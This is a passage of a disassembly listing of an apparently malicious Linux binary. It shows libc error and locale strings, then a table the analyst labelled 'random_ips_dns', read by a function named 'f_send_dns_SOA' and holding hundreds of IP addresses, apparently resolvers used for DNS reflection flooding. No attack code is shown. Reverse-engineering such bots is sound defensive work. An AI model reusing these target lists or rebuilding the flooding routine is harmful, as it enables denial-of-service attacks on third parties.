aFunctionNotImp	db 'Function not implemented',0 ; DATA XREF: .rodata:0806AF30o
aNoRecordLocksA	db 'No record locks available',0 ; DATA XREF: .rodata:0806AF2Co
aFileNameTooLon	db 'File name too long',0 ; DATA XREF: .rodata:0806AF28o
aResourceDeadlo	db 'Resource deadlock would occur',0 ; DATA XREF: .rodata:0806AF24o
aMathResultNotR	db 'Math result not representable',0 ; DATA XREF: .rodata:0806AF20o
aMathArgumentOu	db 'Math argument out of domain of func',0 ; DATA XREF: .rodata:0806AF1Co
aBrokenPipe db 'Broken pipe',0          ; DATA XREF: .rodata:0806AF18o
aTooManyLinks db 'Too many links',0     ; DATA XREF: .rodata:0806AF14o
aReadOnlyFileSy	db 'Read-only file system',0 ; DATA XREF: .rodata:0806AF10o
aIllegalSeek db	'Illegal seek',0        ; DATA XREF: .rodata:0806AF0Co
aNoSpaceLeftOnD	db 'No space left on device',0 ; DATA XREF: .rodata:0806AF08o
aFileTooLarge db 'File too large',0     ; DATA XREF: .rodata:0806AF04o
aTextFileBusy db 'Text file busy',0     ; DATA XREF: .rodata:0806AF00o
aNotATypewriter	db 'Not a typewriter',0 ; DATA XREF: .rodata:0806AEFCo
aTooManyOpenFil	db 'Too many open files',0 ; DATA XREF: .rodata:0806AEF8o
aFileTableOverf	db 'File table overflow',0 ; DATA XREF: .rodata:0806AEF4o
aInvalidArgumen	db 'Invalid argument',0 ; DATA XREF: .rodata:0806AEF0o
aIsADirectory db 'Is a directory',0     ; DATA XREF: .rodata:0806AEECo
aNotADirectory db 'Not a directory',0   ; DATA XREF: .rodata:0806AEE8o
aNoSuchDevice db 'No such device',0     ; DATA XREF: .rodata:0806AEE4o
aCrossDeviceLin	db 'Cross-device link',0 ; DATA XREF: .rodata:0806AEE0o
aFileExists db 'File exists',0          ; DATA XREF: .rodata:0806AEDCo
aDeviceOrResour	db 'Device or resource busy',0 ; DATA XREF: .rodata:0806AED8o
aBlockDeviceReq	db 'Block device required',0 ; DATA XREF: .rodata:0806AED4o
aBadAddress db 'Bad address',0          ; DATA XREF: .rodata:0806AED0o
aPermissionDeni	db 'Permission denied',0 ; DATA XREF: .rodata:0806AECCo
aOutOfMemory_4 db 'Out of memory',0     ; DATA XREF: .rodata:0806AEC8o
aTryAgain db 'Try again',0              ; DATA XREF: .rodata:0806AEC4o
aNoChildProcess	db 'No child processes',0 ; DATA XREF: .rodata:0806AEC0o
aBadFileNumber db 'Bad file number',0   ; DATA XREF: .rodata:0806AEBCo
aExecFormatErro	db 'Exec format error',0 ; DATA XREF: .rodata:0806AEB8o
aArgListTooLong	db 'Arg list too long',0 ; DATA XREF: .rodata:0806AEB4o
aNoSuchDeviceOr	db 'No such device or address',0 ; DATA XREF: .rodata:0806AEB0o
aIOError  db 'I/O error',0              ; DATA XREF: .rodata:0806AEACo
aInterruptedSys	db 'Interrupted system call',0 ; DATA XREF: .rodata:0806AEA8o
aNoSuchProcess db 'No such process',0   ; DATA XREF: .rodata:0806AEA4o
aNoSuchFileOrDi	db 'No such file or directory',0 ; DATA XREF: .rodata:0806AEA0o
aOperationNotPe	db 'Operation not permitted',0 ; DATA XREF: .rodata:0806AE9Co
aUnknownError_0	db 'Unknown error',0
dword_806BBB8 dd 7Bh			; DATA XREF: __strerror_internal+14r
					; __IO_perror+35r ...
unk_806BBBC db	  0 ;			; DATA XREF: .rodata:0806AA28o
					; .data:08079284o
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
unk_806BBC8 db	  0 ;			; DATA XREF: .rodata:0806AA2Co
					; .data:08079290o
	  db 7 dup(0), 0Fh, 3 dup(0), 12h, 0BCh, 6, 8, 12h, 0BCh, 6, 8
	  db 12h, 0BCh,	6, 8, 12h, 0BCh, 6, 8, 10h, 0BCh, 6, 8,	12h, 0BCh
	  db 6,	8, 12h,	0BCh, 6, 8, 10h, 0BCh, 6, 8, 10h, 0BCh,	6, 8, 10h
	  db 0BCh, 6, 8, 10h, 0BCh, 6, 8, 10h, 0BCh, 6,	8, 10h,	0BCh, 6
	  db 8,	10h, 0BCh, 6, 8, 10h, 0BCh, 6, 8, 7Fh, 3 dup(0)
unk_806BC14 db	  0 ;			; DATA XREF: .rodata:0806AA30o
					; .data:0807928Co
	  db 7 dup(0), 4, 3 dup(0), 41h, 0BCh, 6, 8, 31h, 0BCh,	6, 8, 30h
	  db 0BCh, 6, 8, 30h, 0BCh, 6, 8, 0, 5Bh, 6Eh, 4Eh, 5Dh, 2 dup(5Bh)
	  db 3Ah, 61h, 6Ch, 70h, 68h, 61h, 3Ah,	2 dup(5Dh), 0, 5Bh, 79h
	  db 59h, 5Dh, 2 dup(5Bh), 3Ah,	61h, 6Ch, 70h, 68h, 61h, 3Ah, 2	dup(5Dh)
	  db 4 dup(0)
unk_806BC54 db	  0 ;			; DATA XREF: .rodata:0806AA24o
					; .data:08079294o
	  db 7 dup(0), 93h, 3 dup(0), 0ACh, 0BFh, 6, 8,	0A8h, 0BFh, 6
	  db 8,	0A4h, 0BFh, 6, 8, 0A0h,	0BFh, 6, 8, 9Ch, 0BFh, 6, 8, 98h
	  db 0BFh, 6, 8, 94h, 0BFh, 6, 8, 8Dh, 0BFh, 6,	8, 86h,	0BFh, 6
	  db 8,	7Eh, 0BFh, 6, 8, 74h, 0BFh, 6, 8, 6Bh, 0BFh, 6,	8, 64h
	  db 0BFh, 6, 8, 5Bh, 0BFh, 6, 8, 57h, 0BFh, 6,	8, 53h,	0BFh, 6
	  db 8,	4Fh, 0BFh, 6, 8, 4Bh, 0BFh, 6, 8, 47h, 0BFh, 6,	8, 43h
	  db 0BFh, 6, 8, 3Fh, 0BFh, 6, 8, 3Bh, 0BFh, 6,	8, 37h,	0BFh, 6
	  db 8,	33h, 0BFh, 6, 8, 2Fh, 0BFh, 6, 8, 2Bh, 0BFh, 6,	8, 23h
	  db 0BFh, 6, 8, 1Ah, 0BFh, 6, 8, 14h, 0BFh, 6,	8, 0Eh,	0BFh, 6
	  db 8,	47h, 0BFh, 6, 8, 9, 0BFh, 6, 8,	4, 0BFh, 6, 8, 0FDh, 0BEh
	  db 6,	8, 0F3h, 0BEh, 6, 8, 0EBh, 0BEh, 6, 8, 0E2h, 0BEh, 6, 8
	  db 0D9h, 0BEh, 6, 8, 0D6h, 0BEh, 6, 8, 0D3h, 0BEh, 6,	8, 2 dup(0BEh)
	  db 6,	8, 0B5h, 0BEh, 6, 8, 0ACh, 0BEh, 6, 8, 1A0h dup(0), 25h
	  db 48h, 3Ah, 25h, 4Dh, 3Ah, 25h, 53h,	0, 25h,	6Dh, 2Fh, 25h
	  db 64h, 2Fh, 25h, 79h, 0, 25h, 61h, 20h, 25h,	62h, 20h, 25h
	  db 64h, 20h, 25h, 48h, 3Ah, 25h, 4Dh,	3Ah, 25h, 53h, 20h, 25h
	  db 59h, 0, 50h, 4Dh, 0, 41h, 4Dh, 0, 44h, 65h, 63h, 65h, 6Dh
	  db 62h, 65h, 72h, 0, 4Eh, 6Fh, 76h, 65h, 6Dh,	62h, 65h, 72h
	  db 0,	4Fh, 63h, 74h, 6Fh, 62h, 65h, 72h, 0, 53h, 65h,	70h, 74h
	  db 65h, 6Dh, 62h, 65h, 72h, 0, 41h, 75h, 67h,	75h, 73h, 74h
	  db 0,	4Ah, 75h, 6Ch, 79h, 0, 4Ah, 75h, 6Eh, 65h, 0, 41h, 70h
	  db 72h, 69h, 6Ch, 0, 4Dh, 61h, 72h, 63h, 68h,	0, 46h,	65h, 62h
	  db 72h, 75h, 61h, 72h, 79h, 0, 4Ah, 61h, 6Eh,	75h, 61h, 72h
	  db 79h, 0, 44h, 65h, 63h, 0, 4Eh, 6Fh, 76h, 0, 4Fh, 63h, 74h
	  db 0,	53h, 65h, 70h, 0, 41h, 75h, 67h, 0, 4Ah, 75h, 6Ch, 0, 4Ah
	  db 75h, 6Eh, 0, 4Dh, 61h, 79h, 0, 41h, 70h, 72h, 0, 4Dh, 61h
	  db 72h, 0, 46h, 65h, 62h, 0, 4Ah, 61h, 6Eh, 0, 53h, 61h, 74h
	  db 75h, 72h, 64h, 61h, 79h, 0, 46h, 72h, 69h,	64h, 61h, 79h
	  db 0,	54h, 68h, 75h, 72h, 73h, 64h, 61h, 79h,	0, 57h,	65h, 64h
	  db 6Eh, 65h, 73h, 64h, 61h, 79h, 0, 54h, 75h,	65h, 73h, 64h
	  db 61h, 79h, 0, 4Dh, 6Fh, 6Eh, 64h, 61h, 79h,	0, 53h,	75h, 6Eh
	  db 64h, 61h, 79h, 0, 53h, 61h, 74h, 0, 46h, 72h, 69h,	0, 54h
	  db 68h, 75h, 0, 57h, 65h, 64h, 0, 54h, 75h, 65h, 0, 4Dh, 6Fh
	  db 6Eh, 0, 53h, 75h, 6Eh, 0
dword_806BFB0 dd 5			; DATA XREF: __nl_load_locale+2F8r
	  db 3,	3 dup(0), 30h, 3 dup(0), 1, 3 dup(0), 0Fh, 3 dup(0), 4
	  db 3 dup(0)
aLc_all_0 db 'LC_ALL',0                 ; DATA XREF: __nl_load_locale+1Ao
aLang_0	  db 'LANG',0                   ; DATA XREF: __nl_load_locale+53o
aLocal	  db 'local',0                  ; DATA XREF: __nl_load_locale+6Eo
aSS_0	  db '%s/%s',0                  ; DATA XREF: __nl_load_locale+CFo
aUsrShareLocale	db '/usr/share/locale',0 ; DATA XREF: __nl_load_locale+E7o
aSSS_0	  db '%s/%s/%s',0               ; DATA XREF: __nl_load_locale+ECo
aSys_	  db '/SYS_',0                  ; DATA XREF: __nl_load_locale+13Do
aOutOfMemory_3 db 'out of memory',0     ; DATA XREF: _xdr_reference+44o
aXdr_referenceS	db 'xdr_reference: %s',0Ah,0 ; DATA XREF: _xdr_reference+59o
	  db 0,	1, 2 dup(2), 4 dup(3), 8 dup(4), 10h dup(5), 20h dup(6)
	  db 40h dup(7), 80h dup(8), 0,	1, 2 dup(2), 4 dup(3), 8 dup(4)
	  db 10h dup(5), 20h dup(6), 40h dup(7), 80h dup(8)
_rodata	  ends

; ННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННН

; Segment type:	Pure data
; Segment permissions: Read/Write
_data	  segment dword	public 'DATA' use32
	  assume cs:_data
	  ;org 806D228h
; char **envp
envp	  dd 0				; DATA XREF: start+2Aw	_setenv+41r ...
random_ips_dns db 12, 0, 130, 2		     ; ip ; DATA XREF: f_send_dns_SOA+176r
					; f_send_dns_SOA+184r
	  db 12, 1, 106, 5		; ip
	  db 12, 1, 106, 6		; ip
	  db 12, 1, 74,	2		; ip
	  db 12, 102, 240, 2		; ip
	  db 12, 107, 176, 41		; ip
	  db 12, 107, 176, 42		; ip
	  db 12, 109, 111, 2		; ip
	  db 12, 109, 240, 7		; ip
	  db 12, 109, 240, 8		; ip
	  db 12, 11, 148, 11		; ip
	  db 12, 111, 203, 126		; ip
	  db 12, 127, 16, 67		; ip
	  db 12, 127, 16, 69		; ip
	  db 12, 127, 16, 70		; ip
	  db 12, 127, 17, 71		; ip
	  db 12, 127, 17, 72		; ip
	  db 12, 127, 17, 74		; ip
	  db 12, 13, 225, 11		; ip
	  db 12, 13, 225, 12		; ip
	  db 12, 13, 237, 11		; ip
	  db 12, 13, 247, 11		; ip
	  db 12, 14, 214, 21		; ip
	  db 12, 14, 225, 10		; ip
	  db 12, 149, 78, 226		; ip
	  db 12, 15, 226, 28		; ip
	  db 12, 15, 226, 29		; ip
	  db 12, 16, 164, 2		; ip
	  db 12, 16, 41, 5		; ip
	  db 12, 16, 41, 8		; ip
	  db 12, 16, 41, 9		; ip
	  db 12, 161, 10, 252		; ip
	  db 12, 161, 192, 9		; ip
	  db 12, 161, 225, 10		; ip
	  db 12, 161, 225, 15		; ip
	  db 12, 161, 96, 2		; ip
	  db 12, 161, 96, 3		; ip
	  db 12, 162, 128, 24		; ip
	  db 12, 162, 128, 26		; ip
	  db 12, 162, 38, 25		; ip
	  db 12, 17, 126, 40		; ip
	  db 12, 17, 126, 41		; ip
	  db 12, 17, 142, 1		; ip
	  db 12, 17, 163, 29		; ip
	  db 12, 17, 193, 188		; ip
	  db 12, 2, 6, 39		; ip
	  db 12, 20, 160, 226		; ip
	  db 12, 21, 12, 4		; ip
	  db 12, 21, 12, 9		; ip
	  db 12, 21, 120, 2		; ip
	  db 12, 21, 120, 3		; ip
	  db 12, 21, 132, 2		; ip
	  db 12, 21, 132, 3		; ip
	  db 12, 21, 137, 210		; ip
	  db 12, 21, 137, 211		; ip
	  db 12, 21, 144, 2		; ip
	  db 12, 21, 176, 10		; ip
	  db 12, 21, 215, 1		; ip
	  db 12, 21, 228, 102		; ip
	  db 12, 21, 228, 103		; ip
	  db 12, 21, 32, 2		; ip
	  db 12, 21, 4,	2		; ip
	  db 12, 21, 45, 1		; ip
	  db 12, 21, 76, 13		; ip
	  db 12, 21, 76, 14		; ip
	  db 12, 22, 60, 35		; ip
	  db 12, 23, 16, 34		; ip
	  db 12, 25, 244, 11		; ip
	  db 12, 26, 69, 50		; ip
	  db 12, 28, 200, 11		; ip
	  db 12, 28, 56, 2		; ip
	  db 12, 28, 56, 3		; ip
	  db 12, 29, 175, 2		; ip
	  db 12, 29, 194, 108		; ip
	  db 12, 30, 35, 126		; ip
	  db 12, 32, 144, 174		; ip
	  db 12, 33, 191, 15		; ip
	  db 12, 34, 144, 2		; ip
	  db 12, 35, 245, 6		; ip
	  db 12, 39, 241, 133		; ip
	  db 12, 39, 242, 133		; ip
	  db 12, 4, 117, 2		; ip
	  db 12, 40, 162, 75		; ip
	  db 12, 40, 8,	3		; ip
	  db 12, 41, 122, 10		; ip
	  db 12, 41, 122, 11		; ip
	  db 12, 41, 124, 6		; ip
	  db 12, 41, 124, 9		; ip
	  db 12, 41, 182, 10		; ip
	  db 12, 41, 182, 13		; ip
	  db 12, 41, 184, 241		; ip
	  db 12, 41, 224, 37		; ip
	  db 12, 41, 234, 2		; ip
	  db 12, 41, 234, 35		; ip
	  db 12, 41, 236, 67		; ip
	  db 12, 41, 236, 68		; ip
	  db 12, 41, 237, 1		; ip
	  db 12, 41, 66, 8		; ip
	  db 12, 41, 88, 211		; ip
	  db 12, 41, 88, 8		; ip
	  db 12, 41, 93, 5		; ip
	  db 12, 5, 179, 20		; ip
	  db 12, 5, 179, 21		; ip
	  db 12, 6, 121, 10		; ip
	  db 12, 6, 34,	2		; ip
	  db 12, 6, 42,	1		; ip
	  db 12, 6, 42,	2		; ip
	  db 12, 7, 244, 11		; ip
	  db 128, 10, 2, 5		; ip
	  db 128, 100, 2 dup(1)		; ip
	  db 128, 2 dup(100), 1		; ip
	  db 128, 2 dup(100), 128	; ip
	  db 128, 100, 102, 112		; ip
	  db 128, 100, 102, 201		; ip
	  db 128, 100, 102, 3		; ip
	  db 128, 3 dup(101)		; ip
	  db 128, 102, 138, 98		; ip
	  db 128, 102, 16, 2		; ip
	  db 128, 102, 18, 31		; ip
	  db 128, 103, 2 dup(1)		; ip
	  db 128, 103, 200, 101		; ip
	  db 128, 104, 25, 10		; ip
	  db 128, 104, 30, 17		; ip
	  db 128, 104, 30, 60		; ip
	  db 128, 105, 2, 10		; ip
	  db 128, 105, 2, 6		; ip
	  db 128, 109, 130, 2		; ip
	  db 128, 109, 131, 3		; ip
	  db 128, 109, 131, 40		; ip
	  db 128, 109, 193, 1		; ip
	  db 128, 110, 124, 120		; ip
	  db 128, 110, 132, 99		; ip
	  db 128, 111, 2 dup(1)		; ip
	  db 128, 111, 1, 2		; ip
	  db 128, 112, 128, 1		; ip
	  db 128, 112, 129, 15		; ip
	  db 128, 113, 1, 3		; ip
	  db 128, 113, 1, 5		; ip
	  db 128, 114, 129, 105		; ip
	  db 128, 114, 129, 33		; ip
	  db 128, 114, 142, 6		; ip
	  db 128, 115, 249, 1		; ip
	  db 128, 115, 249, 2		; ip
	  db 128, 118, 141, 32		; ip
	  db 128, 118, 25, 3		; ip
	  db 128, 119, 166, 14		; ip
	  db 128, 119, 175, 14		; ip
	  db 128, 119, 40, 12		; ip
	  db 128, 121, 193, 2		; ip
	  db 128, 121, 193, 3		; ip
	  db 128, 121, 193, 82		; ip
	  db 128, 121, 6, 2		; ip
	  db 128, 121, 6, 253		; ip
	  db 128, 122, 128, 24		; ip
	  db 128, 122, 129, 2		; ip
	  db 128, 122, 253, 37		; ip
	  db 128, 122, 253, 92		; ip
	  db 128, 123, 2, 19		; ip
	  db 128, 123, 3, 5		; ip
	  db 128, 125, 19, 183		; ip
	  db 128, 125, 253, 136		; ip
	  db 128, 125, 253, 172		; ip
	  db 128, 125, 253, 183		; ip
	  db 128, 126, 124, 2		; ip
	  db 2 dup(128), 16, 1		; ip
	  db 2 dup(128), 16, 2		; ip
	  db 128, 132, 1, 201		; ip
	  db 128, 132, 1, 202		; ip
	  db 128, 134, 48, 2		; ip
	  db 128, 135, 12, 73		; ip
	  db 128, 135, 20, 100		; ip
	  db 128, 135, 4, 2		; ip
	  db 128, 136, 192, 11		; ip
	  db 128, 137, 2 dup(1)		; ip
	  db 128, 138, 213, 13		; ip
	  db 128, 138, 238, 154		; ip
	  db 128, 138, 238, 18		; ip
	  db 128, 138, 240, 1		; ip
	  db 128, 138, 243, 151		; ip
	  db 128, 139, 4, 3		; ip
	  db 128, 139, 6, 1		; ip
	  db 128, 143, 2, 7		; ip
	  db 128, 143, 22, 119		; ip
	  db 128, 143, 3, 7		; ip
	  db 128, 144, 1, 28		; ip
	  db 128, 144, 50, 22		; ip
	  db 128, 146, 1, 7		; ip
	  db 128, 146, 48, 7		; ip
	  db 128, 147, 128, 83		; ip
	  db 128, 147, 22, 101		; ip
	  db 128, 148, 128, 11		; ip
	  db 128, 148, 128, 9		; ip
	  db 128, 151, 128, 52		; ip
	  db 128, 151, 224, 6		; ip
	  db 128, 152, 1, 26		; ip
	  db 128, 152, 1, 6		; ip
	  db 128, 153, 128, 2		; ip
	  db 128, 153, 4, 2		; ip
	  db 128, 154, 44, 10		; ip
	  db 128, 155, 3, 35		; ip
	  db 128, 155, 3, 55		; ip
	  db 128, 157, 5, 23		; ip
	  db 128, 158, 2 dup(1)		; ip
	  db 128, 158, 1, 4		; ip
	  db 128, 159, 2 dup(174)	; ip
	  db 128, 16, 5, 32		; ip
	  db 128, 16, 6, 8		; ip
	  db 128, 160, 38, 150		; ip
	  db 128, 160, 52, 117		; ip
	  db 128, 163, 1, 6		; ip
	  db 128, 164, 141, 11		; ip
	  db 128, 164, 141, 12		; ip
	  db 128, 169, 201, 2		; ip
	  db 128, 169, 50, 100		; ip
	  db 128, 170, 20, 150		; ip
	  db 128, 170, 20, 2		; ip
	  db 128, 170, 244, 4		; ip
	  db 128, 171, 2 dup(1)		; ip
	  db 128, 2 dup(171), 10	; ip
	  db 128, 171, 3, 13		; ip
	  db 128, 172, 2 dup(1)		; ip
	  db 128, 172, 1, 2		; ip
	  db 128, 172, 90, 10		; ip
	  db 128, 173, 14, 71		; ip
	  db 128, 174, 5, 102		; ip
	  db 128, 174, 5, 103		; ip
	  db 128, 174, 5, 104		; ip
	  db 128, 174, 5, 58		; ip
	  db 128, 175, 13, 16		; ip
	  db 128, 175, 13, 17		; ip
	  db 128, 175, 13, 74		; ip
	  db 128, 175, 13, 92		; ip
	  db 128, 176, 0, 12		; ip
	  db 128, 176, 0, 13		; ip
	  db 128, 178, 15, 7		; ip
	  db 128, 178, 15, 8		; ip
	  db 128, 18, 110, 4		; ip
	  db 128, 18, 30, 65		; ip
	  db 128, 18, 30, 66		; ip
	  db 128, 180, 1, 3		; ip
	  db 128, 180, 2, 9		; ip
	  db 128, 182, 62, 99		; ip
	  db 128, 182, 65, 6		; ip
	  db 128, 183, 10, 134		; ip
	  db 128, 183, 115, 33		; ip
	  db 128, 183, 50, 17		; ip
	  db 128, 184, 1, 4		; ip
	  db 128, 186, 6, 103		; ip
	  db 128, 187, 22, 129		; ip
	  db 128, 187, 22, 200		; ip
	  db 128, 188, 1, 110		; ip
	  db 128, 189, 4, 1		; ip
	  db 128, 19, 0, 17		; ip
	  db 128, 19, 0, 3		; ip
	  db 128, 191, 16, 1		; ip
	  db 128, 191, 48, 250		; ip
	  db 128, 192, 1, 193		; ip
	  db 128, 192, 1, 9		; ip
	  db 128, 193, 4, 20		; ip
	  db 128, 193, 64, 33		; ip
	  db 128, 194, 178, 1		; ip
	  db 128, 194, 198, 5		; ip
	  db 128, 195, 1, 66		; ip
	  db 128, 195, 25, 66		; ip
	  db 128, 196, 128, 233		; ip
	  db 128, 197, 2, 62		; ip
	  db 128, 197, 20, 40		; ip
	  db 128, 197, 27, 7		; ip
	  db 128, 198, 1, 250		; ip
	  db 128, 2, 206, 130		; ip
	  db 128, 2, 222, 199		; ip
	  db 128, 200, 1, 201		; ip
	  db 128, 200, 192, 202		; ip
	  db 128, 205, 1, 2		; ip
	  db 128, 205, 106, 1		; ip
	  db 128, 205, 32, 8		; ip
	  db 128, 205, 7, 1		; ip
	  db 128, 206, 2, 252		; ip
	  db 128, 210, 11, 5		; ip
	  db 128, 213, 2 dup(1)		; ip
	  db 128, 213, 8, 7		; ip
	  db 128, 214, 248, 132		; ip
	  db 128, 214, 4, 29		; ip
	  db 128, 214, 46, 64		; ip
	  db 128, 217, 11, 25		; ip
	  db 128, 218, 254, 10		; ip
	  db 128, 218, 254, 40		; ip
	  db 128, 218, 27, 20		; ip
	  db 128, 219, 153, 31		; ip
	  db 128, 220, 127, 215		; ip
	  db 128, 220, 2, 7		; ip
	  db 128, 220, 2, 82		; ip
	  db 128, 221, 131, 1		; ip
	  db 128, 222, 1, 2		; ip
	  db 128, 223, 32, 35		; ip
	  db 128, 223, 6, 9		; ip
	  db 128, 224, 1, 136		; ip
	  db 128, 226, 1, 11		; ip
	  db 128, 227, 128, 162		; ip
	  db 128, 227, 128, 24		; ip
	  db 128, 227, 128, 254		; ip
	  db 128, 227, 148, 253		; ip
	  db 128, 227, 16, 3		; ip
	  db 128, 228, 1, 10		; ip
	  db 128, 228, 5, 64		; ip
	  db 128, 23, 1, 4		; ip
	  db 128, 23, 203, 10		; ip
	  db 128, 230, 1, 49		; ip
	  db 128, 230, 12, 5		; ip
	  db 128, 231, 128, 251		; ip
	  db 128, 231, 64, 1		; ip
	  db 128, 232, 0, 18		; ip
	  db 128, 232, 0, 19		; ip
	  db 128, 233, 3, 1		; ip
	  db 128, 233, 3, 2		; ip
	  db 128, 235, 251, 10		; ip
	  db 128, 237, 2, 1		; ip
	  db 128, 238, 2, 38		; ip
	  db 128, 239, 1, 30		; ip
	  db 128, 240, 2, 80		; ip
	  db 128, 240, 229, 18		; ip
	  db 128, 240, 229, 34		; ip
	  db 128, 243, 20, 6		; ip
	  db 128, 243, 21, 16		; ip
	  db 128, 243, 40, 193		; ip
	  db 128, 244, 194, 100		; ip
	  db 128, 244, 197, 32		; ip
	  db 128, 244, 65, 29		; ip
	  db 128, 248, 171, 50		; ip
	  db 128, 248, 2, 50		; ip
	  db 128, 248, 7, 50		; ip
	  db 128, 249, 2 dup(1)		; ip
	  db 128, 249, 2, 1		; ip
	  db 128, 249, 2 dup(2)		; ip
	  db 128, 249, 221, 150		; ip
	  db 128, 250, 1, 21		; ip
	  db 128, 250, 20, 2		; ip
	  db 128, 250, 252, 74		; ip
	  db 128, 252, 120, 1		; ip
	  db 128, 253, 180, 2		; ip
	  db 128, 255, 1, 8		; ip
	  db 128, 255, 17, 47		; ip
	  db 128, 255, 64, 5		; ip
	  db 128, 3, 34, 186		; ip
	  db 128, 32, 136, 12		; ip
	  db 128, 32, 136, 9		; ip
	  db 128, 32, 206, 12		; ip
	  db 128, 32, 206, 9		; ip
	  db 128, 32, 33, 5		; ip
	  db 128, 35, 253, 3		; ip
	  db 128, 35, 32, 1		; ip
	  db 128, 39, 216, 10		; ip
	  db 128, 2 dup(42), 24		; ip
	  db 128, 42, 5, 4		; ip
	  db 128, 46, 154, 76		; ip
	  db 128, 48, 102, 101		; ip
	  db 128, 48, 116, 201		; ip
	  db 128, 49, 16, 7		; ip
	  db 128, 52, 32, 22		; ip
	  db 128, 52, 32, 80		; ip
	  db 128, 54, 16, 2		; ip
	  db 128, 55, 6, 10		; ip
	  db 128, 55, 6, 11		; ip
	  db 128, 59, 111, 99		; ip
	  db 128, 59, 16, 20		; ip
	  db 128, 59, 40, 142		; ip
	  db 128, 59, 64, 60		; ip
	  db 128, 6, 21, 8		; ip
	  db 128, 6, 21, 9		; ip
	  db 128, 61, 130, 224		; ip
	  db 128, 61, 132, 15		; ip
	  db 128, 63, 16, 4		; ip
	  db 128, 7, 2,	5		; ip
	  db 128, 8, 10, 14		; ip
	  db 128, 8, 10, 90		; ip
	  db 128, 8, 5,	2		; ip
	  db 128, 8, 74, 2		; ip
	  db 128, 8, 76, 2		; ip
	  db 128, 82, 224, 101		; ip
	  db 128, 82, 224, 102		; ip
	  db 128, 83, 139, 9		; ip
	  db 128, 83, 185, 39		; ip
	  db 128, 83, 185, 44		; ip
	  db 128, 84, 154, 10		; ip
	  db 128, 86, 1, 20		; ip
	  db 128, 86, 8, 25		; ip
	  db 128, 9, 128, 127		; ip
	  db 128, 9, 160, 89		; ip
	  db 128, 9, 176, 32		; ip
	  db 128, 91, 254, 1		; ip
	  db 128, 91, 254, 4		; ip
	  db 128, 96, 20, 31		; ip
	  db 128, 96, 20, 41		; ip
	  db 128, 98, 2	dup(1)		; ip
	  db 128, 99, 0, 1		; ip
	  db 128, 99, 0, 30		; ip
	  db 129, 1, 2 dup(2)		; ip
	  db 129, 1, 2,	3		; ip
	  db 129, 1, 25, 2		; ip
	  db 129, 1, 64, 2		; ip
	  db 129, 10, 1, 13		; ip
	  db 129, 100, 10, 252		; ip
	  db 129, 100, 2, 12		; ip
	  db 129, 100, 2, 51		; ip
	  db 129, 101, 119, 220		; ip
	  db 129, 101, 119, 223		; ip
	  db 129, 101, 95, 10		; ip
	  db 129, 102, 1, 6		; ip
	  db 129, 102, 1, 8		; ip
	  db 129, 104, 30, 41		; ip
	  db 129, 104, 32, 41		; ip
	  db 129, 105, 49, 1		; ip
	  db 129, 107, 1, 2		; ip
	  db 129, 107, 1, 9		; ip
	  db 129, 108, 202, 20		; ip
	  db 129, 108, 202, 35		; ip
	  db 129, 109, 1, 207		; ip
	  db 129, 11, 128, 119		; ip
	  db 129, 11, 159, 114		; ip
	  db 129, 11, 159, 122		; ip
	  db 129, 110, 10, 1		; ip
	  db 129, 110, 31, 7		; ip
	  db 129, 111, 26, 6		; ip
	  db 129, 111, 26, 7		; ip
	  db 129, 113, 1, 2		; ip
	  db 129, 116, 206, 20		; ip
	  db 129, 118, 2 dup(1)		; ip
	  db 129, 119, 3, 2		; ip
	  db 129, 119, 64, 10		; ip
	  db 129, 12, 21, 8		; ip
	  db 129, 120, 210, 252		; ip
	  db 129, 120, 210, 253		; ip
	  db 129, 120, 210, 254		; ip
	  db 129, 121, 254, 1		; ip
	  db 129, 123, 1, 2		; ip
	  db 129, 123, 1, 7		; ip
	  db 129, 123, 1, 9		; ip
	  db 129, 124, 150, 10		; ip
	  db 129, 125, 4, 13		; ip
	  db 129, 125, 4, 6		; ip
	  db 129, 127, 28, 4		; ip
	  db 129, 127, 40, 3		; ip
	  db 129, 128, 4, 241		; ip
	  db 129, 128, 5, 233		; ip
	  db 129, 128, 76, 233		; ip
	  db 2 dup(129), 100, 1		; ip
	  db 2 dup(129), 110, 10	; ip
	  db 129, 13, 10, 90		; ip
	  db 129, 13, 64, 5		; ip
	  db 129, 130, 12, 24		; ip
	  db 129, 132, 250, 220		; ip
	  db 129, 132, 98, 12		; ip
	  db 129, 133, 1, 50		; ip
	  db 129, 133, 1, 51		; ip
	  db 129, 138, 250, 10		; ip
	  db 129, 138, 4, 216		; ip
	  db 129, 141, 200, 10		; ip
	  db 129, 141, 200, 15		; ip
	  db 129, 141, 200, 16		; ip
	  db 129, 142, 6, 64		; ip
	  db 129, 142, 6, 65		; ip
	  db 129, 142, 7, 99		; ip
	  db 129, 143, 2, 1		; ip
	  db 129, 15, 1, 10		; ip
	  db 129, 15, 1, 9		; ip
	  db 129, 16, 2	dup(1)		; ip
	  db 129, 16, 1, 3		; ip
	  db 129, 162, 172, 2		; ip
	  db 129, 164, 30, 21		; ip
	  db 129, 169, 8, 9		; ip
	  db 129, 170, 16, 4		; ip
	  db 129, 170, 17, 4		; ip
	  db 129, 171, 97, 1		; ip
	  db 129, 173, 1, 10		; ip
	  db 129, 173, 1, 11		; ip
	  db 129, 174, 1, 8		; ip
	  db 129, 175, 15, 1		; ip
	  db 129, 175, 15, 4		; ip
	  db 129, 176, 100, 5		; ip
	  db 129, 176, 199, 5		; ip
	  db 129, 177, 12, 31		; ip
	  db 129, 177, 16, 3		; ip
	  db 129, 177, 30, 3		; ip
	  db 129, 178, 88, 65		; ip
	  db 129, 180, 1, 17		; ip
	  db 129, 180, 1, 4		; ip
	  db 129, 180, 4, 7		; ip
	  db 129, 181, 113, 1		; ip
	  db 129, 181, 12, 3		; ip
	  db 129, 181, 120, 254		; ip
	  db 129, 181, 128, 3		; ip
	  db 129, 181, 128, 4		; ip
	  db 129, 181, 16, 162		; ip
	  db 129, 181, 16, 88		; ip
	  db 129, 181, 165, 1		; ip
	  db 129, 181, 178, 1		; ip
	  db 129, 181, 182, 1		; ip
	  db 129, 181, 184, 12		; ip
	  db 129, 186, 1, 200		; ip
	  db 129, 186, 140, 200		; ip
	  db 129, 186, 142, 200		; ip
	  db 129, 187, 10, 25		; ip
	  db 129, 187, 16, 1		; ip
	  db 129, 188, 136, 100		; ip
	  db 129, 188, 136, 101		; ip
	  db 129, 19, 96, 4		; ip
